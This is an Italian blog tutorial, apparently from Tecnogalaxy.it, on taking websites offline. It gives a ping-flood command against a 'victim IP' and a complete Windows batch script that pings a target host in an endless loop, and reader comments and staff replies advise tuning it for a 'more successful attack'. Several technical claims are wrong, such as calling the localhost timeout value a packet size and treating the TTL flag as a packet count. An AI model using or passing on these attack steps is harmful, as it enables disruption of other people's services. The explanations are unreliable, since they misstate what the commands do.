
Come dossare un sito
“Ma come fanno gli hacker a far impazzire siti web per ore, se non per giorni?” “Di sicuro io non posso riuscirci, non ho le loro enormi abilità”. Sono domande e affermazioni che vi sarete posti almeno una volta. In questo articolo andremo a vedere come dossare un sito.
Possiamo dire che, sotto un certo aspetto, per svolgere determinate azioni nell’ambiente virtuale, bisogna avere un minimo di preparazione e conoscenze abbastanza ampie; ma negli ultimi tempi qualcosa è cambiato, tutto è alla portata di tutti, anche dei principianti.
Oggi parleremo di una vulnerabilità informatica che riguarda la stragrande maggioranza dei servizi informatici, il DDoS o anche conosciuto come “denial of service”.
Questa procedura consiste nell’inondare un server con un numero eccessivo di richieste, arrivando quindi al punto in cui esso non sarà più capace di fornire le sue normali capacità, interrompendo il servizio.
Dossare un sito
Questa procedura può essere svolta da tutti, soprattutto dal prompt dei comandi. Andiamo a vedere come funziona; innanzitutto apriamo il CMD di Windows e troviamo l’indirizzo IP che ci interessa, quello da mandare offline; tutto ciò lo svolgiamo con un semplice comando:
ping “sito da attaccare”
N.B Al posto di “sito da attaccare” bisogna ovviamente scrivere l’indirizzo del sito che vogliamo sottoporre al nostro attacco DDoS
Verranno inviati 4 pacchetti con 32 byte di dati al server, che ci restituirà vari parametri, tra cui il suo indirizzo IP; quindi annotiamlo dato che ci servirà nel passaggio successivo. Difatti, sempre restando su CMD, andremo ad eseguire un altro comando che farà partire effettivamente l’attacco:
ping “indirizzo IP vittima” –t –l “numero di byte per pacchetto”
Anche in questo caso, dobbiamo sostituire “indirizzo IP vittima” con il vero indirizzo IP del website da dossare, mentre come numero di byte possiamo inserire qualsiasi valore da 0 a 65500 per pacchetto; ma attenti a non esagerare, potreste autodossarvi!
Un altro modo per svolgere un denial of service, sempre da windows, è utilizzare un semplice programma che in pochi passi potete creare voi stessi! Innanzitutto, copiate su blocco note il seguente script:
@echo off
mode 67,16
title DDOS
color 0a
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo Programma per dossare
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Nome del sito da attaccare:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1500 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m= IP host:
echo.
set /p n=Numero pacchetti:
echo.
:DDOS
color 0c
echo Attacco %m% in corso
ping %m% -i %n% -t >nul
goto DDOS
Una volta copiato su blocco note, salvatelo in estensione .bat, ovvero come file batch. A questo punto i procedimenti sono terminati, tutto quello che dovete fare è aprire il programma e procedere facilmente data l’interfaccia molto intuitiva.
In generale possiamo dire che il DDoS è una tecnica hacker che può essere evitata con anti-dos o con IP dinamici e che tuttavia rappresenta una concreta minaccia anche per siti con i server più forti e protetti; infatti il denial è una tecnica che si applica da più macchine, arrivando quindi a una maggiore efficacia dell’attacco.
Per portare a termine con maggior successo il DOS, è bene azionare più ping su una stessa macchina, facendo sempre attenzione a non esagerare con la quantità di pacchetti, che porterebbe ad un crash della vostra connessione.
Queste sono le procedure necessarie per dossare un sito.
Ricordiamo che ne io, ne tutta la redazione di Tecnogalaxy.it ci assumiamo la responsabilità di eventuali usi scorretti delle informazioni contenute in quest’articolo; ciò spiegato in questa pagina è mirato puramente al solo scopo informativo e non è da intendersi come incitazione a compiere atti di pirateria informatica, punibili civilmente e penalmente.
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4 Commenti
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ce si intende con la connessione potrebbe crushare? rischio il modem o solo di riavviare il pc?
Ciao, il termine “crashare” in questo caso sta ad indicare che, qualora esagerassi con i pacchetti, potresti in poche parole auto-dossarti. Ciò significa che la tua connessione potrebbe subire un disservizio, solitamente di breve durata. Qualora serva, dovrai solamente riavviare il modem. Saluti, la redazione.
Nello script bat si protebbe aggiungere qualche parametro in più del ping
Certamente. Il numero di byte da inviare per ogni pacchetto si può facilmente modificare nella riga 16 dello script: “@ping.exe 127.0.0.1 -n 5 -w 1500 > nul”; il valore 1500 può essere cambiato se vuoi aumentare la probabilità di riuscita dell’attacco, ma ti consiglio di non esagerare in quanto la tua connessione potrebbe non farcela e quindi crashare.